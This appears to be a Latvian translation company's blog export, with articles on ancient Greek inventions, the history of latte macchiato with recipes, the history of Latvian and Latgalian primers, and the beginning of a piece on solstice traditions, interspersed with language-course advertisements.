Lai gan grieķiem patika vērot un pētīt pasauli, viņi arī izmantoja savas mācības, lai radītu dažus praktiskus izgudrojumus: ūdensdzirnavas – dzirnavas graudu malšanai, ko darbina ūdens. Grieķi izgudroja ūdensratu, ko izmantoja dzirnavu darbināšanai, un zobratus, kas darbināja pašas dzirnavas; modinātājs — grieķu filozofs Platons, iespējams, izgudroja vēsturē pirmo modinātāju. Viņš izmantoja ūdens pulksteni, lai noteiktā laikā iedarbinātu skaņas radīšanas mehānismu; centrālā apkure — grieķi izgudroja centrālapkures veidu, kas vadīja karsto gaisu no ugunskuriem uz tukšām telpām zem tempļu grīdām; celtnis — grieķi izgudroja celtni, lai palīdzētu pacelt smagus priekšmetus, piemēram, blokus ēku celtniecībai; arhimēda skrūve — grieķu filozofa Arhimēda izgudrotā Arhimēda skrūve ir viena no senākajām hidrauliskajām mašīnām. INTERESANTI FAKTI PAR SENĀS GRIEĶIJAS ZINĀTNI UN TEHNOLOĢIJU Vārds matemātika ir cēlies no grieķu vārda mathēmatikē, kas nozīmē “mācība, zinība". Hipātija bija grieķu matemātikas skolas vadītāja Aleksandrijā. Viņa bija viena no pasaulē pirmajām slavenajām sievietēm matemātiķēm un filozofēm. Hipokrātu sauc par "Rietumu medicīnas tēvu". Vārds "bioloģija" cēlies no grieķu vārdiem "bios" (nozīmē "dzīve") un "logia" (nozīmē "pētījums"). Grieķi sniedza lielu ieguldījumu karšu veidošanas jeb "kartogrāfijas" izpētē. Ja ir kāda valoda pasaulē, kuru zinātnieki kaut nedaudz pārzina, tā ir grieķu valoda. Ņemot vērā grieķu alfabēta atšķirīgo pierakstu, vēsturi, unikalitāti un to, ka lielākā daļa zinātņu ir radušās tieši Senajā Grieķijā, grieķu burti tiek izmantoti matemātikā, zinātnē, inženierzinātnēs un citās jomās, kur tie apzīmē noteiktus lielumus. Šajos kontekstos lielie burti un mazie burti apzīmē atšķirīgas un nesaistītas vienības. Tie grieķu burti, kuriem ir tāda pati forma kā latīņu burtiem tiek lietoti reti: lielie burti A, B, E, Z, H, I, K, M, N, O, P, T, Y, X. Mazie burti i, ο un υ arī tiek lietoti reti, jo tie ļoti atgādina latīņu valodas burtus i, o un u. GRIEĶU VALODAS TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu grieķu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus uz un no grieķu valodas. Tulkojumi grieķu valodā GRIEĶU VALODAS KURSI Piedāvājam grieķu valodas mācības uzņēmumu un iestāžu darbiniekiem, kā arī individuālos grieķu valodas kursus privātpersonām. Nodarbību laiks un intensitāte pēc Jūsu izvēles! Nodarbības nodrošinām klātienē vai tiešsaistē. Īpašais piedāvājums - apmeklējiet individuālos grieķu valodas kursus divatā, maksājot tikai par viena studenta mācībām! Grieķu valodas kursi --- > Zināji – late makjato nav tas pats, kas latte? Atklāj atšķirības starp kafijas dzērieniem un pārsteidz draugus ar zināšanām par baristu mākslu - Published: 2022-07-05 - Modified: 2025-03-19 - URL: https://skrivanek.lv/late-makjato/ - Kategorijas: Raksti - Translation Priorities: Optional LATE MAKJATO Sēžot pie sava iecienītākā kafejnīcas galdiņa, nesteidzīgi malkoju gardu late makjato. Šim dzērienam gluži tāpat kā dzīvē, katram slānim ir sava atšķirīga krāsa un garša – salda, rūgta, krēmīga vai visa krāsu un garšu buķete kopā. Late makjato ir īsta garšu kolekcija, kas svārstās no nevainīgām emocijām, siltiem nostalģiskiem atmiņu mirkļiem līdz nopietnam skatījumam uz pasauli. Ar savu vienkāršumu tas ir iekarojis gandrīz visas pasaules sirdis un pat vairāk – daudzu cilvēku dzīves nav iedomājamas bez vienas tasītes makjato ikdienā. Tā ir kā burvestība, kas apskauj ar savu garšu, aromātu un pagatavošanas kultūru. MAKJATO VĒSTURE Lai pastāstītu makjato vēsturi, būtu jāpiemin viena no dzēriena galvenajām sastāvdaļām – tasīte karsta un melna espreso. Espreso ir pavisam parasta stipra melna kafija, kas pagatavota salīdzinoši vienkārši – karstu ūdeni izfiltrējot caur samaltām kafijas pupiņām, iegūstot ļoti koncentrētu kafijas dzērienu. Šis burvīgais, aromātiskais dzēriens tika radīts 20. gadsimta sākumā Venēcijā. Ar pirmo espreso krūzīti sākās arī pirmo kafijas automātu vēsture. Jā, tiek uzskatīts, ka Venēcija ir mūsdienu makjato dzimtene, pateicoties kafejnīcu kultūrai, kas tajā pastāv jau kopš 18. gadsimta. Venēcijas kafejnīcas sāka pasniegt espreso, kas sākotnēji nebija saldināts, to gatavoja pavisam vienkāršos veidos. Kafijas bāri sāka atvērties ne tikai Itālijā, bet arī ārpus tās. Espreso variācijas bija tik daudz – dažāda grauzdējuma kafijas pupiņas, dažāda maluma un mitruma pakāpes kafija, tādēļ dzērienu karte bāros nebija pieejama, bet savu mīļāko kafijas garšu varēja palūgt uzburt pašam baristam. Mūsdienās espreso malks ir katra kafijas dzēriena galvenā sastāvdaļa, vai tā būtu late, kapučīno, amerikano vai makjato. KAS TAD IR MAKJATO? Tulkojumā no itāļu valodas, makjato nozīme ir pavisam vienkārša – apzīmogots, notraipīts. Makjato savu nosaukumu tā arī ieguva, pievienojot espreso malku karsta piena. Kā jau lielākā daļa kafijas dzērienu, makjato tika radīts Itālijā. Itāļu baristas mazliet pamainīja espreso variantu, pievienojot tam nedaudz putota piena. Kādēļ? Jo vienmēr atradās kāds kafijas malkotājs, kuram espreso bija par rūgtu, bet kapučīno par vāju. Šo stipro, mazajā tasītē pasniegto kafiju ar pāris pilieniem piena putu tās virspusē tā arī nosauca –kafija makjato. Katra itāļa ikdiena kļuva par vienu kafijas tasīti bagātāka. Ja itāļi ir raduši no rītiem dzert maigo kapučīno, tad karstajās vasaras pēcpusdienās, kad enerģijas līmenis jau ir sasniedzis kritisko robežu, itāļi malko makjato. Taču itāļiem ar to nebija gana. Atsevišķos Itālijas reģionos, kurus bija iecienījuši amerikāņu tūristi, sāka gatavot kafiju late. Iemesls tam bija pavisam vienkāršs – amerikāņu tūristi nekādi nevarēja pierast pie stiprā espreso dzēriena, tāpēc tam tika pievienots silts piens, lai padarītu dzērienu maigāku. Amerikāņi šo dzērienu aizveda arī līdz ASV, kur 1980. gadā Sietlā tas tika standartizēts. Tulkojumā no itāļu valodas caffe latte nozīmē ‘kafija ar pienu’. Starp citu, ja Itālijā kafejnīcā pajautāsi vienkārši latte, Tev pasniegs krūzīti silta piena. Bet tas arī nebija viss – apvienojot šos abus slavenos kafijas dzērienus, tika radīta latte macchiato. Burtiskā tulkojumā no itāļu valodas tas skan – ‘apzīmogots piens’. Šis ir viens no vizuāli skaistākajiem un gardākajiem kafijas dzērieniem, kuru ir iecienījuši cilvēki visā pasaulē. Viegls un gaisīgs, tas kārtojas vairākos slāņos stikla glāzē, sākot ar siltu pienu, tad pamatīga deva stipra espreso un pa virsu maigas piena putas. Amerikā šo dzērienu mīl gan rītos, gan pusdienlaikā parkā uz soliņa. Ik pa brīdim tiek radīta kāda jauna late makjato versija, bagātinot to ar dažādu garšu sīrupiem. Starp citu, tieši ASV un tieši Starbucks ir pelnījis atzinību par late makjato popularitāti visā pasaulē, radot slaveno karameļu makjato. Šī dzēriena sastāvā bez standarta espreso un piena, ir arī vaniļas sīrups, bet kafijas putas virspusē tiek bagātinātas ar karameļu mērci. MAKJATO PAGATAVOŠANA 1884. gadā espreso kafijas automātu izgudroja un patentēja itāļu izgudrotājs Andželo Moriondo. Jā, espreso automātam ir vairāk nekā 130 gadu sena vēsture! Moriondo patents tika vairākkārt nozagts, izgudrojums pārstrādāts, līdz tas ir sasniedzis mūsdienu pasauli tāds, kādu mēs to pazīstam. Un kopš pasaulē ir kafijas automāti, makjato pagatavošana ir pavisam vienkārša – stipram espreso maza izmēra krūzītē pievieno pāris karotes silta piena putu. STARBUCKS LATE MAKJATO 175 ml piena; 1 porcija espreso. Uzputojiet uzsildīto pienu, līdz tas piepilda 250 ml krūzi. Ielejiet silto, putojošo pienu savā iemīļotākajā kafijas glāzē. Oho, gandrīz pilna līdz pašai augšai. Lēnām ielejiet stipro kafiju krūzes vidū. Ideāli, kā nosaukumā – zīmogs pienā! Iedzeriet malku un izbaudiet. Divas vienkāršas sastāvdaļas, bet tik neparasts dzēriens! Uztaisi sev vēl vienu, Tu to esi pelnījis. LATE MAKJATO AR MANDEĻU GARŠU (VEĢETĀRIEŠIEM UN VEGĀNIEM) 200 ml mandeļu dzēriena; 1 porcija espreso. Pagatavo tasīti espreso. Nedaudz uzsildi mandeļu dzēriena, nepārtraukti apmaisot. Tad to saputo, līdz izveidojas viegla un putojoša kārtiņa. Ielej mandeļu dzērienu stikla glāzē un lēnām uzlej stipru espreso, lai saglabātu putojošo “cepurīti”. MĒS, SKRIVANEK KOLEKTĪVS, DIEVINĀM KAFIJU − ĪPAŠI KARAMEĻU MAKJATO. LŪK, ARĪ MŪSU SKRIVANEK RECEPTE: 1996. gadā kāda no mūsu kolektīva meitenēm atgriezās no ASV ar jaunumiem – pasaulē ir radīts karameļu makjato. Mēs viņu neizlaidām no Skrivanek virtuves, kamēr viņa nepagatavoja mums visiem šo noslēpumaino dzērienu. Lūk, kā tas izskatījās – viņa ieslēdza kafijas automātu, sāka gatavot vienu pēc otras espreso kafijas porcijas, ar otru roku putojot milzu krūzē siltu pienu. Tad viņa salēja skaistās stikla glāzēs mazliet vaniļas sīrupa, piepildīja ¾ glāzes ar siltu pienu, pa virsu uzlejot ¼ siltās piena putas. Tad ar smalku manieri viņa tam visam pa vidu ielēja espreso porciju un piena putām pa virsu uzlēja karameļu mērci, izveidojot skaistu rakstu. Tas bija izcili, lieliski un tik iedvesmojoši! Nāc ciemos pie mums, piesakies mūsu valodas kursiem un mēs apsolām – tu ne tikai apgūsi valodu, bet dzirdēsi daudz interesantus stāstus par dažādu tautu kultūru, vēsturi, virtuvi un daudz ko citu. Un protams – tevi vienmēr gaidīs tasīte gardas kafijas! Kā sauksim šo kafijas dzērienu? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms Vai baudīsim espreso vai espresso? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms ITĀĻU VALODAS TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu itāļu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus uz un no itāļu valodas. Tulkojumi itāļu valodā ITĀĻU VALODAS KURSI Piedāvājam itāļu valodas mācības uzņēmumu un iestāžu darbiniekiem, kā arī grupu un individuālos itāļu valodas kursus privātpersonām. Nodarbības nodrošinām klātienē vai tiešsaistē. Īpašais piedāvājums – apmeklējiet individuālos itāļu valodas kursus divatā, maksājot tikai par viena studenta mācībām! Itāļu valodas kursi --- > Ābece ir pirmā grāmata, kas tiek izmantota lasītprasmes apguvei. Šajā rakstā lasi par latviešu valodas un latgaliešu valodas ābeces vēsturi. - Published: 2022-06-08 - Modified: 2022-11-23 - URL: https://skrivanek.lv/kas-ir-abece/ - Kategorijas: Raksti - Translation Priorities: Optional KAS IR ĀBECE? Ābece ir grāmata, kas paredzēta lasītprasmes apgūšanai. Ābece palīdz iemācīties burtus un to izrunu, kā arī lasīt zilbes un vārdus. Katram no mums skološanās sākas ar lasītprasmes apguvi, kuras pamatā ir pirmā grāmata – ābece – tik pazīstama, bet tomēr katram sava, atšķirīga. Pirmās latviešu ābeces izdeva 17. gadsimta beigās vācu mācītāji. Tās tika veidotas pēc vācu ābeču parauga, nepilnīgi ievērojot latviešu valodas fonētiskās un grafiskās īpatnības. 1941. gadā Tartu universitātes bibliotēkā tika atrasta ap 1863. gadu izdota ābece latviešu valodā nesagrieztas tipogrāfijas loksnes veidā. Šo izdevumu grezno lepna gaiļa kā rīta gaismas vēstneša, zinību jundītāja simbols. Jāatzīmē, ka gailis uz latviešu valodā izdoto ābeču vākiem arī turpmāk tiek bieži izmantots kā agra rīta, čakluma simbols. Kopš sāktas iespiest latviešu valodā, t. i. , apmēram 330 gadu laikā, kopumā izdotas vairāk kā 200 ābeces. Pirmajai lasītprasmes apguves grāmatai gadsimtiem ilgi bijusi īpaša vieta Latvijā. Bilžu grāmata, kas vieno daudzas paaudzes, pamazām kļuvusi arvien interesantāka, lai lasītprasmes ceļa sākums būtu priecīgs un aizraujošs. LATVIEŠU VALODAS ĀBECES VĒSTURE Par to laiku, kad radās pirmās latviešu skolas un bērns varēja sākt apgūt prasmi lasīt un rakstīt latviski, latviešu rakstnieks Andrievs Niedra raksta, ka bērnu raudāšana mācoties reizēm bija lielāka par cūku bēru troksni... Vācu tautības mācītāji bija arī pirmie latviešu ābeču autori. Pirmo latviešu ābeci izdeva J. Nellers 17. gadsimta beigās. Lasītmācībā līdzīgi kā citās zemēs tika izmantota burtošanas jeb boksterēšanas metode, kuras galvenā pazīme – nepieciešams iemācīties burtus alfabēta secībā pēc to nosaukumiem; prast lasīt zilbes (bez sakara ar vārdiem), pēc zilbju apgūšanas vingrināties tekstu lasīšanā. Boksterēšanas metode bieži traucēja bērniem lasīšanas laikā uztvert un saprast vārda nozīmi. Lasīt mācījās ilgi, reizēm bērniem šī nodarbe bija ļoti apnicīga. 17. gadsimta beigās populārs kļuva Alūksnes mācītājs Ernsts Gliks (1652. –1705. ). Viņš izveidoja skolas latviešu zemnieku bērniem Alūksnē, Zeltiņos un Apukalnā. E. Gliks pazīstams arī kā Bībeles tulkotājs (izdota 1685. –1694. ). Bībele uzskatāma kā ievērojamākais 17. gadsimta literatūras piemineklis latviešu valodā. Tā vairākus gadsimtus bija arī mācību līdzeklis lasītprasmes apguvei mājmācībā un skolās. E. Gliku var uzskatīt arī par pirmo latviešu skolotāju sagatavotāju zemnieku skolām, jo viņa pārliecība bija, ka skolotājam jānāk no tautas vidus, jāmācās dzimtajā valodā pašam un jāmāca citi. Ernests Gliks pēc vācu ābeču parauga sagatavoja latviešu ābeci zemnieku bērniem. Lasītprasmes apguve tika paredzēta ar skaņu metodi. Lasīt mācīšana tika apvienota arī ar rakstīt mācīšanu. Šo ābeci 17. gadsimtā sāka izmantot Alūksnes skolās, un skolēni sekmīgi apguva lasītprasmi viena gada laikā. E. Glika ābece bija ļoti populāra. To izdeva vairāk nekā 1000 eksemplāros, un to iegādājās latviešu zemnieki, lai izmantotu kā mācīšanās līdzekli. Īpašs devums latviešu valodas mācību grāmatu veidošanā 18. gadsimtā pieder Sēlpils un Sūnākstes draudzes mācītājam, valodniekam un rakstniekam Gothardam Fridriham Stenderam (1714. –1796. ). 1782. gadā tiek izdota G. F. Stendera „Jauna ABC un latviešu mācība” un 1787. gadā – „Bildu ābice”, kurai tika pievienoti arī metodiski norādījumi, kā ar šo ābeci strādāt. Stenders uzskatīja, ka zemniekiem jāmācās un, ka ir laiks mācību grāmatās reliģiskos tekstus aizstāt ar laicīga satura lasāmiem gabaliem un morālām pamācībām. Visus bokstābus, kā tolaik dēvēja burtus, G. F. Stenders sadalīja īsos skandiniekos (patskaņos) (a, e, i, o, u), garajos skandiniekos ar garumzīmi (ā, ē, ī, o, ū), jumos, un tie bija divskaņi (ie, au, ai, ei), neskaņos (līdzskaņi) un zīmētajos neskaņos (šņāceņi un mīkstinātie līdzskaņi). Viņa bokstābu pasaulē bija arī sava fonētikas terminoloģija: priekšnieki (lielie burti), mazie bokstābi (mazie burti). Lielie sākuma burti, pēc G. F. Stendera domām, vienmēr ir krāšņāki par pārējiem bokstābiem. Lai atvieglotu bērniem lasītmācīšanos un veicinātu arī domāšanas attīstību, 1787. gadā izdotajā “Bildu ābicē” katram alfabēta burtam veidota ilustrācija ar priekšmetu vai dzīvnieku. Zīmējumu autors ir pats G. F. Stenders. „Bildu ābice” ir pirmā bagātīgi ilustrētā laicīga satura latviešu valodas mācību grāmata. Tā sevī ietver arī bērnu audzinošo funkciju, jo katrā divrindē ir uzsvērta kāda vērtība: darbs, dievbijība, gudrība u. c. Pēc G. F. Stendera ābeces parauga tika izdotas vācu autoru G. F. Mīliha, P. Šaca, vēlāk arī latviešu autoru M. Kaudzītes, Stērstu Andreja u. c. ābeces. 18. gadsimtā paralēli ābecēm ar bildēm un lasāmgabaliem parādījās arī tādas ābeces, kas iepazīstināja ar rakstīto burtu paraugiem un elementāriem rakstīšanas paraugiem. Jau 1784. gadā Rubenes draudzes mācītājs Krishofs Harders izdalīja zemniekiem bez maksas paša sarakstītu „Ābeci”, kurai tika pievienota reizināšanas tabula un parādīts, kā rakstīt burtus. Līdz pat 19. gadsimta beigām skolās pārsvarā mācīja lasīt pēc burtošanas metodes. 1844. gadā jaunlatvietis Andrejs Spāģis uzrakstīja ābeci – lasāmo grāmatu „Bērnu prieks” jeb „Maza, maza grāmatiņa, caur ko bērniem viegli, ātri un skaidri var iemācīties lasīt”. Tā ir nozīmīgs sasniegums latviešu valodas mācīšanas metodikas attīstībā. Arī viņa ābecē lasīšanas pamatelements ir skaņa. A. Spāģis savā ābecē – lasāmajā grāmatā novecojušās burtošanas metodes vietā ievieš skaņošanas metodi. Lai gan „Bērnu prieks” iznāca septiņos izdevumos, tomēr skaņošanas metode ne skolās, ne mājmācībā neieviesās, jo skolotāji nebija metodiski sagatavoti, trūka arī metodisko materiālu. Šajā laikā sāka ieviest krievu burtus latviešu rakstībā. 1864. gadā izdeva ābeci krievu burtiem „Latviešu bukveris”. 19. gadsimta 2. pusē īpaša vērība tiek pievērsta valodas mācībai. Vācu autori centās rakstīt latviešu valodas mācību grāmatas latviešu skolām. 1919. gadā tika izdota K. Dēķena „Jaunā ābece”. K. Dēķens lasīt mācīšanā kā svarīgus posmus atzina runas sadalīšanu vārdos, (ar runu domājot tekstu, teikumus), vārdu dalīšanu balsienos un tad – skaņās (tā atklājās analīze). Autors akcentēja skaņu izrunas noskaidrošanu, skaņu saklausīšanu, zilbju veidošanu, tās saliekot no burtiem saliekamajā ābecē, zilbju lasīšanu, vārdu veidošanu 1922. gadā ar krāšņiem mākslinieka N. Strunkes zīmējumiem iznāk L. Paegles „Vālodzes šūpulis”. Grāmatā katram burtam ir savs zīmējums, dzejolis, stāsts un uzdevums. Par pamatu ņemot šo lasīt mācīšanas metodi, kā 1. izdevums 1925. gadā tiek izdota J. Ezeriņa un J. Grīna „Valodiņa. Ābece pirmsskolai” (pēdējais šī darba izdevums Latvijā iznāk 1943. gadā). 1930. gadā Valtera un Rapas apgādā iznāk arī I. Rītiņa un A. Kronberga „Avotiņš. Ābece mājām un pirmsskolai”. Līdzīgi citām ābecēm arī šajā vārdos tiek izdalīta noteikta skaņa, skolēns iegaumē tai atbilstošu burtu. Vēlāk jālasa vārdi, kuros jaunais burts savienots ar jau iepriekš iemācītajiem burtiem. Padomju laikā sākumskolēnu ābeces rakstīja Latvijā populāri rakstnieki un dzejnieki: J. Osmanis, Z. Purvs, I. Ziedonis, pasaku rakstniece un māksliniece M. Stāraste. No vienas puses, tas ir vērtējams pozitīvi, jo mācību grāmatās nebija zinātnisku kļūdu, ievērota precīza struktūra, kvalitatīvi uzdevumu nosacījumi, rūpīgi atlasīti teksti, lai tajos skolēns var vingrināties pazīt ne tikai konkrētas valodas parādības, bet saskatīt vai saklausīt valodas māksliniecisko vērtību. No otras puses, mācību grāmatās bieži ir pārāk zinātnisks mācību vielas skaidrojums, nerēķinoties ar konkrēta vecuma bērnu uztveres, uzmanības u. c. īpatnībām, liela vērība pievērsta dažādiem izņēmumiem u. tml. Ar 1986. /87. mācību gadu notika skolu reforma, kuras laikā 1. klasē mācības uzsāk bērni no 6 gadiem. Notiek nozīmīgi pārkārtojumi arī jaunāko klašu mācību saturā. Taču šis laiks bija pārāk īss, un, nepietiekami izvērtējot, tika pārtrauktas skolēnu mācības no sešu gadu vecuma. Atmodas laikā un atjaunotās Latvijas brīvvalsts pirmajos gados, viens no pirmajiem uzdevumiem bija pārskatīt mācību saturu latviešu valodā, to atvieglot, un izvērtējot Latvijas brīvvalsts mantojumu, atjaunot mācību saturu izkārtojumu. Nozīmīgs devums šai sakarā ir 1985. gadā izdotā I. Mularekas un A. Karules „Ābece” (to papildināti izdevumi iznāk no 1990. līdz 1993. gadam). Pēdējos gados ir izdoti dažādi mācīblīdzekļu komplekti, liels klāsts palīgmateriālu. Arvien plašāks kļūst digitālo līdzekļu saraksts u. c. Pēdējos gados latviešu valodas mācību līdzekļus, metodiska rakstura izdevumus sagatavo un izdod visas lielākās Latvijas izdevniecības („Pētergailis”, „Zvaigzne ABC”, „Lielvārds”, „Jumava” u. c. ) Izdevniecības darbā iesaista skolotājus, pedagoģijas augstskolu docētājus. Tiek attīstītas e-mācīšanās iespējas arī latviešu valodā. Skolēni, izmantojot datorprogrammu, var mācīties ar spēļu palīdzību pazīt burtus („Attīstošās spēles bērniem ar kustību traucējumiem”), apgūt zināšanas latviešu valodas fonētikā kā mācībā pēc valodas skaņām, to pārmaiņu likumiem, vingrināties apgūtās zināšanas izmantot praksē un ar piedāvāto testu palīdzību pārbaudīt savus mācību sasniegumus. ĀBECES LATGALIEŠU VALODĀ Latgalē šajā laikā tautas izglītošanā liels ieguldījums bija jezuītiem. 19. gadsimta 1. pusē viņu darbība gan tika aizliegta. Skolas pastāvēja pie baznīcām. Īpaša loma zemnieku bērnu izglītošanā bija mājas skolām un katehētiem, kā arī zemnieku skolai ar latviešu mācību valodu Preiļu rajona Vārkavā (1844). Kā izcilu Latgales zemnieku garīgās atmodas veicinātāju var nosaukt Baltijas vācu vēsturnieku, vācu muižnieku Gustavu Manteifelu (1832. –1916. ). Viņš vāca latgaliešu tautasdziesmas, tulkoja latgaliski bībeles stāstus, 1862. gadā izveidoja pirmo kalendāru „Inflantuziemies Lajkagromota”. Kalendārā kā lasāmo vielu Latgales zemniekiem un bērniem ievietoja tautasdziesmas, reliģiska un laicīga satura sacerējumus. 1864. –1904. gadam Latgalē pastāvēja „drukas aizliegums”, t. i. , aizliegums iespiest grāmatas u. c. izdevumus latīņu burtiem. Neapšaubāmi tas apgrūtināja latgaliešu bērnu mācīšanos. Lai gan tajā pašā laikā atradās t. s. grāmatnieki, kuri pārrakstīja rokrakstā latviski izdotas grāmatas un tās izmantoja lasīt prasmes apguvei. Ābece latgaliešu valodā parādās krietni vēlāk. 1937. gadā Rīgā apgādā „Grāmatu Zieds“ iznāca Sīmaņa Svennes ābeces „Mozō abece un pyrmō losomō grōmota mōjā un pyrmskūlā“. 1992. gadā pēc 55 gadu pārtraukuma apgādā „Lielvārds“ iznāca jauna latgaliešu ābece (autori Juris Cibuļs un Lidija Leikuma), kurā lietota tā dēvētā Pītera Stroda pareizrakstība, bet ar vairākiem jauninājumiem. 2014. gadā Latviešu valodas aģentūra sadarbībā ar Juri Cibuļu un Lidiju Leikumu ir izstrādājusi pirmo digitālo latgaliešu ābeci. Ābece ir papildināta ar darba burtnīcu „Skreineite. Vuicūs raksteit" un uzziņu materiālu pedagogiem. Jaunā latgaliešu ābece „Skreineite“ ir klasiskā tipa pirmmācības grāmata, kas paredzēta lasītmācīšanai latgaliešu valodā. To var izmantot mājmācībā, pirmsskolā vai sākumskolas 1. klasē, tā paredzēta skolēniem, kas neprot lasīt. Kādēļ Ābece ir tik svarīga katra latvieša dzīvē un izglītībā? Kādēļ mēs visu mūžu atceramies šo grāmatiņu, kuras vāku rotā gailis, bet nevaram atcerēties citu izlasīto grāmatu vāku ilustrējumus? Te ir vērts pieminēt Dz. Paegles analizēto A. Upīša atziņu, ka valoda ir „dzīvs, smalks instruments, ko pa ilgiem gadiem vārīgi noskaņojuse tautas īpatnējā daba. Valodas skaņu, formu un kombināciju sarežģītā dažādībā skan visa vēsturiskā pagātne... Cilvēka dvēseles augstākā spēja, kas viņu paceļ par valdnieku dabā, ir valoda. Valodai attīstoties un caur valodu bērnā attīstās visas citas spējas un īpašības, kas sakarā ar domāšanu, jūtām un gribu... Katrai tautai ir milzums īpatnēju nojēgumu, jūtu un sajūtu, kam velti meklēt apzīmējumu svešā valodā, tāpēc, ka izkausē citā vēsturiskā un psiholoģiskā atmosfērā. Daudzi vecāki savus bērnus jau no mazotnes lauza svešās valodās, domādami, ka mātes valodu viņi zināšot tā kā tā. . Šāds tēva ideāls ir zems, cauri un cauri materiālistisks. Savu dēlu viņš audzina par veikalnieku, par karjeristu – un šādiem dzīves uzdevumiem pieiet ar mehānisku valodas prašanu un svešvalodām... Arvienu vairāk 18 pierodas skolotu subjektu, kas vienkāršu vēstuli nemāk uzrakstīt pareizā mātes valodā... Derīgas ir svešvalodas, jo vairāk viņu prot, jo labāk. Bet mātes valoda cilvēka attīstībā ir nepieciešama kā maize un ūdenis” (Paegle, 2001. , 2). ALFABETS VAI ALFABĒTS? Vai burts „a” ir pirmais burts latviešu alfabetā vai alfabētā? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms --- > Kas ir saulgrieži un kādi saulgrieži tiek atzīmēti Latvijā? Kā ziemas un vasaras saulgriežus svin visā pasaulē? Ieskaties! - Published: 2022-06-06 - Modified: 2024-10-22 - URL: https://skrivanek.lv/kas-ir-saulgriezi/ - Kategorijas: Raksti - Translation Priorities: Optional KAS IR SAULGRIEŽI? Saulgrieži jeb solstīcija (latīņu: Sol – ‘Saule’, sistere – ‘apstāties’) ir moments, kad Saulei ir vislielākā deklinācija ─ vasaras saulgrieži vai vismazākā deklinācija ─ ziemas saulgrieži. Vasaras saulgriežu laikā ir visgarākā diena un visīsākā nakts, bet ziemas saulgriežos – visīsākā diena un visgarākā nakts. Saulgriežu laikā daudzas tautas tradicionāli atzīmē saulgriežu svētkus. Saulgriežu svētkiem ir konkrēti nosaukumi, kas rakstāmi ar lielo sākumburtu. Reizēm saulgriežus sauc arī par saulstāvjiem, jo pirms un pēc saulgriežiem Saule nemaina savu maksimālo augstumu virs horizonta vairākas dienas. Šos datumus cilvēki vienmēr ir svinējuši neatkarīgi no viņu reģiona un/vai kultūras. Pašreizējās teorijas liecina, ka šie rituāli, kas saistīti ar gadalaiku maiņu, varētu būt neolīta laikmeta pagātnes mantojumi, kad tajā laikā cilvēks, lai izdzīvotu, dzīvoja saskaņā ar dabu, pasaules ritējumu un visa viņa bagātība bija pašu rokām izaudzētais. VASARAS SAULGRIEŽI Vislielākie saulgriežu svinētāji Skandināvijā ir zviedri. Vasaras saulgrieži Zviedrijā vieno visu tautu – gan jaunos, gan vecos zviedrus. Tāpat tos svin arī Norvēģijā, Somijā un Islandē. Ņemot vērā Apvienotās karalistes un Īrijas pagānisko vēsturi, šie svētki ir atgriezušies šo tautu dzīvē. Līdz ar kristietības parādīšanos, angļu, skotu un īru ļaudīm bija jāaizmirst savas pielūgtās fejas, vienradži, mītiskās būtnes, bet šo tautu senā un bagātā vēsture ir spējusi nosargāt tradīcijas līdz pat mūsdienām. Spānija – vasaras saulgrieži tiek īpaši svinēti Barselonā, Menorkā un citos katalāņu reģionos. Krievija un Ukraina – Kupalas nakts vai Ivana diena, tās saknes meklējamas pagānu auglības svētkos. Austrija – vasaras saulgriežu tradīcijas nāk no viduslaikiem, kurās ugunskura iedegšana bija veids kā pielūgt zemes dievus. Vairāk par saulgriežiem un to tradīcijām Latvijā un citviet pasaulē tiek runāts Skrivanek bērnu dienas nometnēs. ZIEMAS SAULGRIEŽI Novembra beigās valstis visā pasaulē sāk gatavoties Ziemassvētkiem. Un gandrīz katrā pasaules malā tie tiek atzīmēti ar savām unikālām tradīcijām, paražām un rituāliem. Daudzās valstīs ir radušās arī pavisam mūsdienīgas un pat smieklīgas Ziemassvētku tradīcijas, kuras vairāk paredzētas tam, lai bērni uztvertu šo laiku kā brīnumu laiku. Visplašāk pasaulē pazīstamie ziemas saulgrieži tiek svinēti: Zviedrijā – Svētās Lūcijas diena. Zviedrijā, Somijā un Norvēģijā Svētā Lūcijas diena ir īpaša Ziemassvētku laika diena, kurā tiek godāta viena no pirmajām kristiešu moceklēm Lūcija. Notiek gājieni sveču gaismā un katras ģimenes vecākā meitene ir ģērbusies baltā tērpā un uz galvas nes vainagu ar aizdegtām svecēm. Grieķijā Ziemassvētku eglīšu un laivu rotāšana ir gadsimtiem sena tradīcija. Norvēģijā Ziemassvētku vakarā neatradīsiet nevienu slotu visā valstī, jo tās tiek noslēptas. Šī tradīcija ir vēl no pagānu laikiem, kad norvēģi ticēja burvestībām, troļļiem kalnos un raganām mežos. Slotas tika slēptas, lai neviena ragana un ļaunie gari nevarētu tikt pie saviem “pārvietošanās rīkiem”. Vācija var lepoties ar vienu no senākajām Ziemassvētku tradīcijām – piparkūku mājiņas cepšanu un dekorēšanu. Kad brāļi Grimmi 1812. gadā uzrakstīja pasaku “Ansītis un Grietiņa”, radās jauna Ziemassvētku tradīcija. Cepumu un piena atstāšana naktī pirms svētkiem Ziemassvētku vecītim un viņa ziemeļbriežiem nākusi no skandināvu mitoloģijas, bet amerikāņi sāka šo tradīciju piekopt Lielās depresijas laikā 1930. gados. 1843. gadā Anglijā tika radīta pirmā oficiālā Ziemassvētku kartīte, ar pavisam vienkāršu vēlējumu – Priecīgus Ziemassvētkus un laimīgu Jauno gadu! SAULGRIEŽI LATVIEŠU TRADĪCIJĀS Senie latvieši laiku skaitīja citādāk, dažādos laikos viņi lietoja atšķirīgus kalendārus, tomēr visu to pamatā bija dabas ritējums un izmaiņas dabā. Lai novērotu dienas un nakts, gadalaiku maiņu, nekādi instrumenti vai smalki mehānismi nebija nepieciešami. Cilvēki no paaudzes 